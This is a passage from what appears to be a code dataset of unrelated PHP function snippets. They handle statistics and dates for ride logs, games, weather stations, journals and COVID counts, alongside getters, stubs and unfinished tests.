COUNT(DISTINCT IF(Date BETWEEN '$startDate30' AND '$endDate' AND (RideLogTypeID=1 OR RideLogTypeID=3), Date, NULL)) AS CEDays30\n FROM ride_log\n WHERE (Date BETWEEN '$startDate365' AND '$endDate') AND RiderID=$riderID\";\n $rs = $oDB->query($sql);\n $record = $rs->fetch_array();\n $rs->close();\n $CEDaysMonth365 = round($record['CEDays365']/(365/30.5));\n $CEDaysMonth180 = round($record['CEDays180']/(180/30.5));\n $CEDaysMonth60 = round($record['CEDays60']/(60/30.5));\n $CEDaysMonth30 = round($record['CEDays30']/(30/30.5));\n $CEDaysMonth = max($CEDaysMonth365, $CEDaysMonth180, $CEDaysMonth60, $CEDaysMonth30);\n $CMilesDay = ($record['CDays365']) ? round($record['CMiles365']/$record['CDays365']) : 0;\n // Calculate rider stats over several different date ranges\n $today = new DateTime();\n $prevYear = intval($today->format(\"Y\")) - 1;\n $sets['A'] = CalculateStatsSet($oDB, $riderID, new DateTime(\"2000-1-1\"), $today);\n $sets['Y0'] = CalculateStatsSet($oDB, $riderID, FirstOfYear($today), $today);\n $sets['Y1'] = CalculateStatsSet($oDB, $riderID, new DateTime(\"1/1/$prevYear\"), new DateTime(\"12/31/$prevYear\"));\n $sets['M0'] = CalculateStatsSet($oDB, $riderID, FirstOfMonth($today), $today);\n $sets['M1'] = CalculateStatsSet($oDB, $riderID, FirstOfMonth(AddMonths($today,-1)), LastOfMonth(AddMonths($today,-1)));\n $sets['M2'] = CalculateStatsSet($oDB, $riderID, FirstOfMonth(AddMonths($today,-2)), LastOfMonth(AddMonths($today,-2)));\n // create rider stats record if it doesn't exist yet\n if($oDB->DBCount(\"rider_stats\", \"RiderID=$riderID\")==0)\n {\n $oDB->query(\"INSERT INTO rider_stats (RiderID) VALUES($riderID)\");\n }\n // Store stats in rider stats table.\n $sql = \"UPDATE rider_stats SET CEDaysMonth = $CEDaysMonth, CMilesDay = $CMilesDay, \";\n foreach($sets as $range => $set)\n {\n foreach($set as $key => $value)\n {\n $sql .= \"{$range}_$key = $value, \";\n }\n }\n $sql = substr($sql, 0, -2) . \" WHERE RiderID=$riderID\";\n $oDB->query($sql);\n // return a subset of the stats\n return(Array('YTDDays' => $sets['Y0']['Days'], 'YTDMiles' => $sets['Y0']['Miles'], 'CEDaysMonth' => $CEDaysMonth));\n}",
"public function getStatistics()\n\t{\n\t\t$fieldList = array('date_on', 'date_off', 'period');\n\n\t\treturn $this->getFilterStatistics($fieldList);\n\t}",
"public function loadGameTime() {\n\t\t\n\t\t$sql = \"SELECT `year`, `month`, `day` FROM `global_date` WHERE 1 ORDER BY `turnID` DESC LIMIT 1\";\n\t\t$res = $this->mysqli->query($sql);\n\t\tif (mysqli_num_rows($res)) {\n\t\t\t$row = mysqli_fetch_row($res);\n\t\t\t$this->year = $row[0];\n\t\t\t$this->month=$row[1];\n\t\t\t$this->day=$row[2];\n\t\t\t$this->dateTime = \"\" . $this->year . $this->prefix($this->month,2) . $this->prefix($this->day,2) . $this->prefix(0,2);//the last part is hour\n\t\t\t$this->hour = 0;\n\t\t\t$this->minute = 0;\n\t\t\treturn 1;\n\t\t}\n\t\telse return -1;\n\t}",
"public function getDataAtual()\n {\n $this->hoje = date(\"Y-m-d H:i:s\");\n return $this->hoje;\n }",
"function get_openstaandeDossiersStatistiek() {\n $jaren = $this->db->query(\"select distinct year from view_statOpenstaandeDossiers\");\n if (!$jaren) {\n $this->error(\"Check query in get_openstaandeDossiersStatistiek in klasse functioneelBeheer_model\");\n }\n while ($row = $jaren->fetch_assoc()) {\n $rows[] = $row;\n }\n foreach ($rows as $var) {\n if (date(\"Y\") == $var[year]) {\n $huidig_jaar = $var[year];\n } else {\n $huidig_jaar = date(\"Y\");\n }\n }\n $vorig_jaar = $huidig_jaar - 1;\n $twee_jaar = $huidig_jaar - 2;\n\n $result = $this->db->query(\"select * from view_statOpenstaandeDossiers\");\n if (!$result) {\n $this->error(\"Check query in get_openstaandeDossiersStatistiek in klasse functioneelBeheer_model\");\n }\n $associativeArray = array(\n $twee_jaar => array(\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 0,\n 10 => 0,\n 11 => 0,\n 12 => 0),\n $vorig_jaar => array(\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 0,\n 10 => 0,\n 11 => 0,\n 12 => 0),\n $huidig_jaar => array(\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 0,\n 10 => 0,\n 11 => 0,\n 12 => 0)\n );\n while ($row = mysqli_fetch_array($result)) {\n $associativeArray[$row['year']][$row['month']] = $row['aantalDossiers'];\n }\n return array($huidig_jaar, $vorig_jaar, $twee_jaar, $associativeArray);\n }",
"public function getDateDebut();",
"function update_stats($type)\n{\n\tglobal $database;\n\n\t// INCREASE REQUESTED STAT VALUE\n\t$database->database_query(\"\n INSERT INTO se_stats\n (`stat_date`, `stat_{$type}`)\n VALUES\n (UNIX_TIMESTAMP(CURDATE()), 1) \n ON DUPLICATE KEY UPDATE\n `stat_{$type}`=`stat_{$type}`+1\n \");\n}",
"public function getStats()\n {\n return $this->stats;\n }",
"public function setDateDuJour()\n{\n$this->setDateSysteme(date(\"Y-m-d\"));\n$this->setDateUtilisateur(date(\"d/m/Y\"));\n}",
"public function testDestiny2GetHistoricalStatsDefinition()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }",
"private function calculateData($date) {\n $performace = microtime(true);\n $stations = DB::table('balkan_stations')->get()->toArray();\n\n if($date == date('Y-m-d') || DB::table('average_visibility')->where('date', $date)->count() == 0) {\n\n DB::table('average_visibility')->where('date', $date)->delete();\n\n foreach($stations as $id => $station) {\n if(!Storage::disk('weatherdata')->exists($date . '/' . $station->balkan_station . '.csv')) {\n continue;\n }\n\n $file = Storage::disk('weatherdata')->get($date . '/' . $station->balkan_station . '.csv');\n\n // Split the .csv by newline.\n if(self::checkOsIsWindows()){\n //os = windows\n $seperated = explode(\"\\r\\n\", $file);\n }else{\n //os = linux\n $seperated = explode(\"\\n\", $file);\n }\n\n // Get the first value, split by comma and create an array with it. This array contains the measurement types\n $labels = explode(',', array_shift($seperated));\n\n // Dynamically fill an array with measurements. [ 'column_name1' => [], 'column_name2' => [] ]\n for($y = 0; $y < count($labels); $y++) {\n $fullData[strtolower($labels[$y])] = [];\n }\n\n $totalVisibility = 0;\n $index = 0;\n // Loop through all rows (except for the first one)\n for($i = 0; $i < count($seperated); $i++) {\n\n //If there is an empty row, skip it\n if(empty(trim($seperated[$i]))) {\n continue;\n }\n\n // Split the row on commas\n $data = explode(',', $seperated[$i]);\n $totalVisibility += (float)$data[4];\n $index++;\n }\n if($index) {\n DB::table('average_visibility')->insert([\n 'station_id' => $station->balkan_station,\n 'average_visibility' => $totalVisibility / $index,\n 'date' => $date\n ]);\n }\n }\n }\n\n $visibility = DB::table('average_visibility')\n ->where('date', $date)\n ->join('stations', 'average_visibility.station_id', '=', 'stations.stn')\n ->orderBy('average_visibility.average_visibility', 'desc')\n ->limit(5)\n ->get();\n\n $ikbengewooneenarray = [];\n for($bart = 0; $bart < count($visibility); $bart++) {\n $ikbengewooneenarray['station'][] = ucfirst(strtolower($visibility[$bart]->name)) . ', ' . ucfirst(strtolower($visibility[$bart]->country));\n $ikbengewooneenarray['average'][] = round($visibility[$bart]->average_visibility, 2);\n $ikbengewooneenarray['performace'] = microtime(true) - $performace;\n }\n\n return $ikbengewooneenarray;\n }",
"public static function rating_summary()\n {\n $date=static::first_end_date();\n return StatisticsHelper::rating_summary(null,null,$date->from->format('Y-m-d'),$date->to->format('Y-m-d'));\n }",
"public function calculateDate()\r\n {\r\n return YBCore_Utility_DateTime::getNextGameDateTime();\r\n }",
"public function run()\n {\n Statistic::insert([\n 'visits_count'=>0,\n 'docs_count'=>0,\n 'generating_number_count'=>0,\n 'messages_sent_count'=>0\n ]);\n }",
"public function useStandByLines(){\n $this->calculateNormalDueDate();\n return 0;\n }",
"private function _getDateFrequency()\n\t {\n\t\t$dates = array();\n\t\t$copies = 0;\n\t\t$objects = 0;\n\n\t\t$big = new BigFile(\"base-\" . $this->phone, 10);\n\t\t$obj = $big->getRecords();\n\t\t$objects = count($obj);\n\t\t$dates = array_merge($dates, $obj);\n\n\t\t$big = new BigFile(\"copy-\" . $this->phone, 10);\n\t\t$cop = $big->getRecords();\n\t\t$copies = count($cop);\n\t\t$dates = array_unique(array_merge($dates, $cop));\n\n\t\t$in = array();\n\t\tforeach ($dates as $date)\n\t\t {\n\t\t\t$in[] = strtotime($date);\n\t\t } //end foreach\n\n\t\t$dates = array();\n\t\tif (count($in) > 0)\n\t\t {\n\t\t\tsort($in, SORT_NUMERIC);\n\t\t\tforeach ($in as $time)\n\t\t\t {\n\t\t\t\t$dates[] = date(\"d.m.Y\", $time);\n\t\t\t } //end foreach\n\n\t\t\t$previousdate = $dates[0];\n\t\t\t$sum = 0;\n\t\t\t$difference = 0;\n\t\t\t$count = count($dates);\n\t\t\tforeach ($dates as $date)\n\t\t\t {\n\t\t\t\tif ($date !== $previousdate)\n\t\t\t\t {\n\t\t\t\t\t$difference = strtotime($date) - strtotime($previousdate);\n\t\t\t\t\t$previousdate = $date;\n\t\t\t\t\t$sum = $difference + $sum;\n\t\t\t\t } //end if\n\n\t\t\t } //end foreach\n\n\t\t\t$frequency = (($count > 1) ? ($sum/($count * 86400)) : 365);\n\n\t\t\treturn (($frequency > 2) ? true : false);\n\t\t }\n\t\telse\n\t\t {\n\t\t\treturn true;\n\t\t } //end if\n\n\t }",
"function getStats(&$illCount, &$healthyCount, &$deadCount,$country){\n global $db;\n\n //vyber poctu vsetkych nakazenych, vyliecenych a mrtvych v danej krajine\n $query = \"SELECT reportdate,countryname,SUM(confirmed) AS 'ill',SUM(recovered) AS 'healthy',SUM(deaths) AS 'dead' \n FROM data INNER JOIN place ON place.id = place_id WHERE countryname='{$country}' \n GROUP BY countryname,reportdate \n ORDER BY reportdate DESC \n LIMIT 1\";\n $results = $db->query($query)->fetchAll(PDO::FETCH_ASSOC);\n\n if (count($results)>0){\n $illCount = $results[0][\"ill\"];\n $healthyCount = $results[0][\"healthy\"];\n $deadCount = $results[0][\"dead\"];\n }\n}",
"public function preUpdate()\n {\n \t$this->dateFound = new \\DateTime(\"now\");\n }",
"public function stats()\n\t{\n\t\t$stat = View::factory('profiler/stats');\n\t\t// echo $stat;\n\t}",
"public function getStats() {\n return $this->stats;\n }",
"function logCheckOnWorkDate()\n\t{\n\t\t// Soll durchgefuehrt werden?\n\t\tif (!$this->m_enable || !$this->m_eraseFilesEnable)\n\t\t{\t\n\t\t\treturn 0;\n\t\t}\n\t\t\n\t\t// Suche nach Dateien in Verzeichnis\n\t\t$dir = sprintf(\"%s%s\", $this->m_base, $this->m_sub);\n\t\tif (($resource = opendir($dir)) != false)\n\t\t{\t\n\t\t\twhile(($file = readdir($resource)) != false)\n\t\t\t{\n\t\t\t\tif ($file == \".\" || $file == \"..\") continue;\n\t\t\t\t\n\t\t\t\t// Passt Dateiname zu Format der Logdateinamen\n\t\t\t\tif (eregi($this->m_fileNameTemplateMatch, $file))\n\t\t\t\t{\n\t\t\t\t\t// In Liste aufnehmen\n\t\t\t\t\t$fileList[$fileCount++] = $file;\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir($resource);\n\t\n\t\t\t// Wurden Dateien gefunden.\n\t\t\tif ($fileCount)\n\t\t\t{\t\n\t\t\t\t$fileCount = 0;\n\t\t\t\t// Array der gefundenen Dateien sortieren.\n\t\t\t\trsort($fileList);\n\t\t\t\t\n\t\t\t\tfor (; count($fileList);)\n\t\t\t\t{\t\n\t\t\t\t\t// Ist Datei von selbigem Datum?\n\t\t\t\t\tif (strncmp($tmp, $fileList[0], 10) == false)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Datei mit gleichem Datums-Zeichenfolgenbeginn\n\t\t\t\t\t\t// Kann sein, da fuer verschiedene Kanaele gelogt werden kann.\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// Datums-Zeichenfolge des Dateinamen aufnehmen.\n\t\t\t\t\t\t$tmp = $fileList[0];\n\t\t\t\t\t\t$fileCount++; // Zu erhaltende Datei\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Datumsbereich der zu erhaltenden Dateien ueberschritten?\n\t\t\t\t\tif ($fileCount > $this->m_eraseFilesCount)\n\t\t\t\t\t{\n\t\t\t\t\t\t$file = $this->m_base . $this->m_sub . $fileList[0];\n\t\t\t\t\t\tif (unlink($file) == false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Konnte nicht geloescht werden!\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t//echo \"Erase file: \" . $fileList[0] . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\t\n\t\t\t\t\t\t//echo \"Hold file: \" . $fileList[0] . \"\\n\";\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Datei aus Array entfernen\n\t\t\t\t\tarray_shift($fileList);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn 1;\n\t}",
"function site_statistics_vizitki(&$args)\n{\n global $database;\n \n $statistics =& $args['statistics'];\n \n // NOTE: CACHING WILL BE HANDLED BY THE FUNCTION THAT CALLS THIS\n \n $total = $database->database_fetch_assoc($database->database_query(\"SELECT COUNT(vizitkientry_id) AS total FROM se_vizitkientries\"));\n $statistics['vizitki'] = array(\n 'title' => 1500150,\n 'stat' => (int) ( isset($total['total']) ? $total['total'] : 0 )\n );\n \n /*\n $total = $database->database_fetch_assoc($database->database_query(\"SELECT COUNT(vizitkisubscription_id) AS total FROM se_vizitkisubscriptions\"));\n $statistics['vizitkisubscriptions'] = array(\n 'title' => 1500151,\n 'stat' => (int) ( isset($total['total']) ? $total['total'] : 0 )\n );\n */\n}",
"public function getStats()\n {\n $stats = new Stats();\n return $stats;\n }",
"public function clearPostDailyStatss()\n\t{\n\t\t$this->collPostDailyStatss = null; // important to set this to NULL since that means it is uninitialized\n\t}",
"public function getStatutSeance() {\r\n return $this->statutSeance;\r\n }",
"static function dailyrecord()\n {\n \t\n \t$all_game_ids = Game::listAllGameIds();\n \t\n \t$cur = time();\n\t\t$dt = strftime('%Y-%m-%d', $cur);\n\t\t//当天0:0:0的总秒数\n\t\t$today = strtotime($dt);\t\t\n\t\t//一周\n\t\t$dayago = $today - 3600*24;\n\t\t$cachestr = date('Y-m-d', $dayago);\n \t\n \tforeach ($all_game_ids as $agi) {\n \t\t \n \t\tif(!Game_stat::staticGet('game_id',$agi)) {\n // \t\t\techo $agi.\"\\n\";\n \t\t\t$newrecord = new Game_stat();\n//\t\t\t\t$newrecord->game_id = $agi;\n//\t\t\t\techo $newrecord->game_id.\"aa \\n\";\n//\t\t\t\t$newrecord->video_num = 0;\n//\t\t\t\t$newrecord->music_num = 0;\n//\t\t\t\t$newrecord->pic_num = 0;\n//\t\t\t\t$newrecord->text_num = 0;\n//\t\t\t\t$newrecord->user_num = 0;\n//\t\t\t\t$result = $newrecord->insert();\n\t\t\t\t//insert()存在问题,会产生game_stat_seq表,而且插入的数据不正确。\n\t\t\t\t$query = \"INSERT INTO game_stat(`game_id`, `video_num`, `music_num`, `pic_num`, `text_num`, `user_num`) values(\" .$agi. \",0,0,0,0,0)\";\n//\t\t\t\techo $query;\n\t\t\t\t$result = $newrecord -> query($query);\n//\t\t if (!$result) {\n//\t\t common_log_db_error($newrecord, 'INSERT', __FILE__);\n//\t\t return false;\n//\t\t }\n \t\t}\n \t\t$game_stat = Game_stat::staticGet('game_id', $agi);\n \t\tif ($game_stat && !Game_stat_history::stathisGetbyidtime($agi,$cachestr)) {\n \t\t\t$hisrecord = new Game_stat_history();\n\t\t\t\t$hisrecord->game_id = $agi;\n\t\t\t\t$hisrecord->video_num = $game_stat->video_num;\n\t\t\t\t$hisrecord->music_num = $game_stat->music_num;\n\t\t\t\t$hisrecord->pic_num = $game_stat->pic_num;\n\t\t\t\t$hisrecord->text_num = $game_stat->text_num;\n\t\t\t\t$hisrecord->user_num = $game_stat->user_num;\n\t\t\t\t$hisrecord->his_date = $cachestr;\n\t\t\t\t$result = $hisrecord->insert();\n\t\t if (!$result) {\n\t\t common_log_db_error($hisrecord, 'INSERT', __FILE__);\n\t\t return false;\n\t\t }\n \t\t\n\t \t\t$game_stat->user_num = User::getUsernumbyGame($agi);\n\t \t\t$game_stat->video_num = Notice::getNoticenumbyGameandctype(3 ,$agi);\n\t \t\t$game_stat->music_num = Notice::getNoticenumbyGameandctype(2 ,$agi);\n\t \t\t$game_stat->pic_num = Notice::getNoticenumbyGameandctype(4 ,$agi);\n\t \t\t$game_stat->text_num = Notice::getNoticenumbyGameandctype(1 ,$agi);\n\t \t\t$game_stat->update();\n\t \t\t\n\t \t\t\n \t\t}\n \t\t\n \t\tif ($game_stat) {\n \t\t\t$game = Game::staticGet('id', $agi);\n\t \t\t$gameorig = clone($game);\n\t \t\t$game->gamers_num = $game_stat->user_num;\n\t \t\t$game->notice_num = $game_stat->video_num + $game_stat->music_num + $game_stat->pic_num + $game_stat->text_num;\n\t \t\t$game->update($gameorig);\n \t\t}\n \t}\n \t\n \t \t\n }",
"function calc_auszahlungen(){\n\t\t$file = \"./Data/\".$_SESSION['datenpfad'] .\"/Timetable/auszahlungen\";\n\t\tif(file_exists($file)){\n\t\t\t$this->_arr_ausz = file($file);\n\t\t\tfor($i=0; $i< count($this->_arr_ausz);$i++){\n\t\t\t\t$this->_arr_ausz[$i] = explode(\";\", $this->_arr_ausz[$i]);\n\t\t\t\t$this->_tot_ausz += $this->_arr_ausz[$i][2];\n\t\t\t}\n\t\t}else{\n\t\t\t$fp = fopen($file, \"w\");\n\t\t\tfclose($fp); \n\t\t}\n\t}",
"function statistics() {\n\t\tparent::validate();\n\t\tparent::setupTemplate(true);\n\n\t\t$journal = &Request::getJournal();\n\t\t$templateMgr = &TemplateManager::getManager();\n\n\t\t$statisticsYear = Request::getUserVar('statisticsYear');\n\t\tif (empty($statisticsYear)) $statisticsYear = date('Y');\n\t\t$templateMgr->assign('statisticsYear', $statisticsYear);\n\n\t\t$sectionIds = $journal->getSetting('statisticsSectionIds');\n\t\tif (!is_array($sectionIds)) $sectionIds = array();\n\t\t$templateMgr->assign('sectionIds', $sectionIds);\n\n\t\tforeach (StatisticsHandler::getPublicStatisticsNames() as $name) {\n\t\t\t$templateMgr->assign($name, $journal->getSetting($name));\n\t\t}\n\t\t$fromDate = mktime(0, 0, 0, 1, 1, $statisticsYear);\n\t\t$toDate = mktime(23, 59, 59, 12, 31, $statisticsYear);\n\n\t\t$journalStatisticsDao =& DAORegistry::getDAO('JournalStatisticsDAO');\n\t\t$articleStatistics = $journalStatisticsDao->getArticleStatistics($journal->getJournalId(), null, $fromDate, $toDate);\n\t\t$templateMgr->assign('articleStatistics', $articleStatistics);\n\n\t\t$limitedArticleStatistics = $journalStatisticsDao->getArticleStatistics($journal->getJournalId(), $sectionIds, $fromDate, $toDate);\n\t\t$templateMgr->assign('limitedArticleStatistics', $limitedArticleStatistics);\n\n\t\t$limitedArticleStatistics = $journalStatisticsDao->getArticleStatistics($journal->getJournalId(), $sectionIds, $fromDate, $toDate);\n\t\t$templateMgr->assign('articleStatistics', $articleStatistics);\n\n\t\t$sectionDao =& DAORegistry::getDAO('SectionDAO');\n\t\t$sections =& $sectionDao->getJournalSections($journal->getJournalId());\n\t\t$templateMgr->assign('sections', $sections->toArray());\n\n\t\t$issueStatistics = $journalStatisticsDao->getIssueStatistics($journal->getJournalId(), $fromDate, $toDate);\n\t\t$templateMgr->assign('issueStatistics', $issueStatistics);\n\n\t\t$reviewerStatistics = $journalStatisticsDao->getReviewerStatistics($journal->getJournalId(), $sectionIds, $fromDate, $toDate);\n\t\t$templateMgr->assign('reviewerStatistics', $reviewerStatistics);\n\n\t\t$allUserStatistics = $journalStatisticsDao->getUserStatistics($journal->getJournalId(), null, $toDate);\n\t\t$templateMgr->assign('allUserStatistics', $allUserStatistics);\n\n\t\t$userStatistics = $journalStatisticsDao->getUserStatistics($journal->getJournalId(), $fromDate, $toDate);\n\t\t$templateMgr->assign('userStatistics', $userStatistics);\n\n\t\t$enableSubscriptions = $journal->getSetting('enableSubscriptions');\n\t\tif ($enableSubscriptions) {\n\t\t\t$templateMgr->assign('enableSubscriptions', true);\n\t\t\t$allSubscriptionStatistics = $journalStatisticsDao->getSubscriptionStatistics($journal->getJournalId(), null, $toDate);\n\t\t\t$templateMgr->assign('allSubscriptionStatistics', $allSubscriptionStatistics);\n\n\t\t\t$subscriptionStatistics = $journalStatisticsDao->getSubscriptionStatistics($journal->getJournalId(), $fromDate, $toDate);\n\t\t\t$templateMgr->assign('subscriptionStatistics', $subscriptionStatistics);\n\t\t}\n\n\t\t$notificationStatusDao =& DAORegistry::getDAO('NotificationStatusDAO');\n\t\t$notifiableUsers = $notificationStatusDao->getNotifiableUsersCount($journal->getJournalId());\n\t\t$templateMgr->assign('notifiableUsers', $notifiableUsers);\n\n\t\t$templateMgr->assign('reportTypes', array(\n\t\t\tREPORT_TYPE_JOURNAL => 'manager.statistics.reports.type.journal',\n\t\t\tREPORT_TYPE_EDITOR => 'manager.statistics.reports.type.editor',\n\t\t\tREPORT_TYPE_REVIEWER => 'manager.statistics.reports.type.reviewer',\n\t\t\tREPORT_TYPE_SECTION => 'manager.statistics.reports.type.section'\n\t\t));\n\n\t\t$templateMgr->assign('helpTopicId', 'journal.managementPages.statsAndReports');\n\n\t\t$templateMgr->display('manager/statistics/index.tpl');\n\t}",
"function __getCountByDate($data)\n\t{\n\t\t/*function countSort($a, $b)\n\t\t{\n\t\t\t//debug($a);\n\t\t\t//debug($b);\n\t\t\t$aKey = 'DATE(CommentsStream.modified)';\n\t\t\t$bKey = 'DATE(CommentsStream.modified)';\n\t\t\tif (array_key_exists('DATE(PagesStream.modified)', $a[0]) && array_key_exists('DATE(CommentsStream.modified)', $b[0]))\n\t\t\t{\n\t\t\t\t$aKey = 'DATE(PagesStream.modified)';\n\t\t\t\t$bKey = 'DATE(CommentsStream.modified)';\n\t\t\t}\n\t\t\telse if (array_key_exists('DATE(CommentsStream.modified)', $a[0]) && array_key_exists('DATE(PagesStream.modified)', $b[0]))\n\t\t\t{\n\t\t\t\t$aKey = 'DATE(CommentsStream.modified)';\n\t\t\t\t$bKey = 'DATE(PagesStream.modified)';\n\t\t\t}\n\t\t\telse if (array_key_exists('DATE(PagesStream.modified)', $a[0]) && array_key_exists('DATE(PagesStream.modified)', $b[0]))\n\t\t\t{\n\t\t\t\t$aKey = 'DATE(PagesStream.modified)';\n\t\t\t\t$bKey = 'DATE(PagesStream.modified)';\n\t\t\t}\n\t\t if (($a[0][$aKey] == $b[0][$bKey]))\n\t\t\t{\n\t\t\t\treturn 0;\n\t\t }\n\t\t return ($a[0][$aKey] < $b[0][$bKey]) ? -1 : 1;\t\n\t\t}*/\n\t\t\n\t\t/*$commentsCountArray = $this->Stream->CommentsStream->getCommentsforStreamCountByDate($data);\n\t\t//debug($commentsCountArray);\n\t\t$pagesCountArray = $this->Stream->PagesStream->getPagesforStreamCountByDate($data);\n\t\t//debug($pagesCountArray);\n\t\t\n\t\t$countArray = array();\n\t\tif ($commentsCountArray && $pagesCountArray)\n\t\t{\n\t\t\t$countArray = array_merge((array)$pagesCountArray, (array)$commentsCountArray);\n\t\t\tuasort($countArray, 'countSort');\n\t\t}\n\t\telse if ($commentsCountArray)\n\t\t\t$countArray = (array)$commentsCountArray;\n\t\telse if ($pagesCountArray)\n\t\t\t$countArray = (array)$pagesCountArray;*/\n\t\t\n\t\t$countArray = $this->Stream->CommentsStream->__getDatePaginationData($data);\n\t\t//debug($countArray);\n\t\t\t\t\t\n\t\t$datePagination = array();\n\t\t$j = 0;\n\t\treset($countArray);\n\t\tfor ($i = 0; $i < count($countArray); ++$i)\n\t\t{\n\t\t\t$currentArray = reset(current($countArray));\n\t\t\t//debug($currentArray);\n\t\t\t$date = reset($currentArray); //gets the date like '2009-07-28'\n\t\t\t$year = next($currentArray);\n\t\t\t$month = next($currentArray);\n\t\t\t$day = next($currentArray);\n\t\t\t$count = next($currentArray);\n\t\t\tif (!array_key_exists($year, $datePagination))\n\t\t\t{\n\t\t\t\t$datePagination[$year] = array\n\t\t\t\t(\n\t\t\t\t\t'count' => $count,\n\t\t\t\t\t'months' => array\n\t\t\t\t\t(\n\t\t\t\t\t\t$month => array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'count' => $count,\n\t\t\t\t\t\t\t'days' => array\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t$day => array (\n\t\t\t\t\t\t\t\t\t'count' => $count,\n\t\t\t\t\t\t\t\t\t'stream_id' => $data['stream_id'],\n\t\t\t\t\t\t\t\t\t'filter_id' => $data['filter_id'],\n\t\t\t\t\t\t\t\t\t'filter_type' => $data['filter_type'],\n\t\t\t\t\t\t\t\t\t'date'\t=> $date\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t );\n\t\t\t}\n\t\t\telse if (!array_key_exists($month, $datePagination[$year]['months']))\n\t\t\t{\n\t\t\t\t//$count = (int)end(current($countArray));\n\t\t\t\t$datePagination[$year]['count'] += $count;\n\t\t\t\t$datePagination[$year]['months'][$month] = array(\n\t\t\t\t\t'count' => $count,\n\t\t\t\t\t'days' => array (\n\t\t\t\t\t\t$day => array(\n\t\t\t\t\t\t\t'count' => $count,\n\t\t\t\t\t\t\t'stream_id' => $data['stream_id'],\n\t\t\t\t\t\t\t'filter_id' => $data['filter_id'],\n\t\t\t\t\t\t\t'filter_type' => $data['filter_type'],\n\t\t\t\t\t\t\t'date'\t=> $date\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\telse if (!array_key_exists($day, $datePagination[$year]['months'][$month]['days']))\n\t\t\t{\n\t\t\t\t//$count = (int)end(current($countArray));\n\t\t\t\t$datePagination[$year]['count'] += $count;\n\t\t\t\t$datePagination[$year]['months'][$month]['count'] += $count;\n\t\t\t\t$datePagination[$year]['months'][$month]['days'][$day] = array(\n\t\t\t\t\t'count' => $count,\n\t\t\t\t\t'stream_id' => $data['stream_id'],\n\t\t\t\t\t'filter_id' => $data['filter_id'],\n\t\t\t\t\t'filter_type' => $data['filter_type'],\n\t\t\t\t\t'date'\t=> $date\t\t\t\t\n\t\t\t\t);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$datePagination[$year]['count'] += $count;\n\t\t\t\t$datePagination[$year]['months'][$month]['count'] += $count;\n\t\t\t\t$datePagination[$year]['months'][$month]['days'][$day]['count'] += $count;\n\t\t\t}\n\t\t\t//debug($datePagination);\n\t\t\tnext($countArray);\n\t\t}\n\t\t//debug($dates);\t\n\t\treturn $datePagination;\n\t}",
"public function testDestiny2GetHistoricalStats()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }",
"public function calculate()\n {\n\n $yesterday = Carbon::now()->subDay();\n $seven_days_ago = $yesterday->copy()->subDay(7);\n $twenty_eight_days_ago = $yesterday->copy()->subDay(28);\n\n $this->seven_day_food = $this->site->foodExpenses($seven_days_ago->toDateString(), $yesterday->toDateString())\n / $this->site->foodSales($seven_days_ago->toDateString(), $yesterday->toDateString());\n $this->twenty_eight_day_food = $this->site->foodExpenses($twenty_eight_days_ago->toDateString(), $yesterday->toDateString())\n / $this->site->foodSales($twenty_eight_days_ago->toDateString(), $yesterday->toDateString());\n // etc...\n\n\n }",
"public function getStats()\n\t{\n\t $this->load->model('tasks');\n\t $this->tasks->truncate('stats');\n\t $this->load->model('configuration');\n\t $dbList = $this->configuration->getDBList();\n\t foreach($dbList->result() as $db)\n\t $this->tasks->pullStats($db->dbGroup,$db->friendlyName);\n\n\t $this->_updateCronStats();\n\t}",
"function getTimeplotData($id) {\n \t\t\n\t\t$sql = \"SELECT first_insertion, to_call_back, init_contact, still_exist, deleted, contacted, date FROM mp_statistique WHERE motif_ID = '$id' ORDER BY date ASC\";\n\t\t$sel = mysql_query($sql);\n\n while ($stat = mysql_fetch_array($sel)) {\n \t\n\t\t\t$current = $stat['to_call_back'] + $stat['init_contact'] + $stat['still_exist'] + $stat['first_insertion'];\n $inserted = $stat['first_insertion'];\n $deleted = $stat['deleted'];\n $date = $stat['date'];\n $contacted = $stat['contacted'];\n \n echo \"$date,$current,$inserted,$deleted,$contacted\\n\";\n \n \n }\n\n }",
"public function getStatistics() {\n return $this->statisticData;\n }",
"public function getSeasonStats()\n {\n return $this->season_stats;\n }",
"public function getDatenaissance()\n {\n return $this->datenaissance;\n }",
"public function getDateNaissance() \n {\n return $this->dateNaissance;\n }",
"private function getStatus(){\n\t\t$this->valid=$this->checkDatesValidity();\n\t\tif($this->usage==\"once\" && $this->usageCount) $this->valid = false;\n\t\tif($this->usage==\"count\" && $this->usageCount>=$this->maxUsage) $this->valid = false;\n\t\tif($this->type==\"fixed\" && $this->value<=0) $this->valid = false;\n\t\tif($this->type==\"grid\" && !count($this->grid)) $this->valid = false;\n\t}",
"public function addNewStatForCurrentPageToday() {\n\t\t\treturn $this->addNewStatForCurrentPage( $this->getDay(), $this->getMonth(), $this->getYear() );\n\t\t}",
